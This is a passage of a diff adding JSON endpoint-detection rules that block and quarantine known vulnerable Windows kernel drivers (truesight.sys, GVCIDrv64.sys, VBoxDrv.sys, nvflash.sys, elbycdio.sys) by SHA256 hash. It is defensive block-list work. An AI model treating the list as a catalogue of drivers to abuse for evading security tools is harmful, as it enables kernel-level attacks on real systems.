+  "type": "hash",
+  "value": "7939d3cac950f51ebcf360eb14283705da2083114170d1a179deb7b13a3afc9b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a8c63869-3265-5ff3-85be-b738e4b5b2ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975895Z",
+  "creation_date": "2026-03-23T11:45:29.975897Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975903Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "42f0b036687cbd7717c9efed6991c00d4e3e7b032dc965a2556c02177dfdad0f",
+  "comment": "Gigabyte vulnerable driver (aka GVCIDrv64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a8d6e31c-2f47-5fdb-a6a2-279d836ebb0a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822055Z",
+  "creation_date": "2026-03-23T11:45:31.822057Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822062Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "82332e1e23c95106444745ac4975655c2fb43dd2581cb5a0a7c403d242620aae",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a8f40473-7bca-5b34-959a-959ce87f18c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819001Z",
+  "creation_date": "2026-03-23T11:45:30.819003Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819008Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b63080bead00cae92efb917b7a707c6a2d6628a1e90301795617b45273f45e4",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a8f8e945-9959-55b2-809d-a5336b7acd2c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155540Z",
+  "creation_date": "2026-03-23T11:45:31.155542Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155548Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a4255097a76fd5653a0812c19698bc5d6807c9bf82447372d50bda5aa337b87d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a8f955ec-7fd2-5ccf-b844-cfa509e9f632",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811309Z",
+  "creation_date": "2026-03-23T11:45:31.811312Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811317Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "882c8e61c7f61166fedde3dfa41c5231493eb2c7d3f3a068d45c77099841705f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a91c0766-1f22-5a44-955f-63c360b0c1f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477987Z",
+  "creation_date": "2026-03-23T11:45:30.477990Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477999Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b7614d88ed04e2d3bf0798380e04b90e04d87a785fbd99f994206da8d9658fe5",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a91e53bc-0e7d-534c-841d-b14898b9a87c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147535Z",
+  "creation_date": "2026-03-23T11:45:31.147537Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147543Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "33c33ebb9a0fe4b3a808564f581e4151185e9240b46193b71bf0ad9636820b6b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a921cd92-6242-57bf-a88d-fbe618aa4fd9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480654Z",
+  "creation_date": "2026-03-23T11:45:31.480658Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480668Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "903cf9cdd5b50d6ddc1c781daab91f3b7f22bf373ce80dd4d2e7fb75c6421135",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a92544e1-5238-5a87-9328-bde059a00338",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488811Z",
+  "creation_date": "2026-03-23T11:45:31.488813Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488818Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "22d60ad34fc8e926e334e4be48c63926a0ccd5e2ae63df76cc4d66bc09040b3b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a92fa5ad-4152-5bd1-8acc-827488fb2211",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608865Z",
+  "creation_date": "2026-03-23T11:45:29.608867Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608882Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6ab14c5c89759695dbb4b310b7cad68d9ec2007277e3b4f3abb883bd05ef557c",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a9358759-9878-5228-921a-c66f1c84e1dc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146636Z",
+  "creation_date": "2026-03-23T11:45:31.146639Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146644Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b718a3c789cba79f67320edb91dc04d297ffeabdf81fc462ba8507254003c69c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a93e66d5-2d06-5084-a4af-1bb092d2ee3a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618984Z",
+  "creation_date": "2026-03-23T11:45:29.618985Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618991Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e52bb23d6e4572fda5318addb4dad602629c8f254b8e6c4baf4033dddf13d660",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a93f2d22-5176-5690-ba76-d273e43544c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832370Z",
+  "creation_date": "2026-03-23T11:45:30.832372Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832377Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7cfaf896771945c790bed21d17cb91891263412a96d191d020ce12e1a85319c9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a94304b5-724c-57e0-b43c-2b02753f4e6b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482315Z",
+  "creation_date": "2026-03-23T11:45:31.482342Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482351Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c63f144892f434182835baceaa8f24a13710b68b0bfee977a7faa9510f9a322f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a9479d8c-5923-5430-ac76-03540b10726f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147331Z",
+  "creation_date": "2026-03-23T11:45:31.147333Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147339Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "71a0e584e9bc1e4c2bc4ac4b158b9a376938ff83d8083f957435ee115ca5cb02",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a94ab1ce-622f-5329-8f98-ef7f970daad1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814915Z",
+  "creation_date": "2026-03-23T11:45:31.814918Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814927Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b304dc8d6a996218f4ccdb6e554aa2af7b0aadf5c1313e3c5dc0b621b7adf43a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a94ceae0-6a78-58cd-afa6-e163bec8a068",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808020Z",
+  "creation_date": "2026-03-23T11:45:31.808023Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808032Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b4ca02a619b738037fff6a64cc299ca7568ac3af82d97b599e08f89988f4f2ca",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a9513968-7fb2-5cad-824d-bdf1ff9195c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144964Z",
+  "creation_date": "2026-03-23T11:45:31.144966Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144971Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d71593b9dfebaf98bed630fd89f57ee5649bc1e1cb339e6b6ed4187163adead2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a9598a09-2caf-5f1b-b1ac-7ef16c3aef5e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489899Z",
+  "creation_date": "2026-03-23T11:45:31.489903Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489912Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "48b13939682024b6545c0aaefc90e572165a3d2cc595aa91a3f4d113182e4c86",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a961da03-0fae-564c-88e4-279e1735934f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145000Z",
+  "creation_date": "2026-03-23T11:45:31.145002Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145008Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5e8a5adfd141736db5c947223a1af06dd03f70042abcaa752b17ccdaa4d9875c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a961f377-057a-5de7-8c91-e51869e4a61c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149057Z",
+  "creation_date": "2026-03-23T11:45:31.149059Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149064Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "17cc31dcac3a7e10a0f15b71ab36ed6b8c5fae610f2c83e16b93eba184479eb7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a989bb3d-7634-5588-9310-21cfc24a46f2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154466Z",
+  "creation_date": "2026-03-23T11:45:31.154468Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154473Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1851a1ba633ec04fed253c346f4e0e7530fcf8256e0c385f3c63e0b868d5e662",
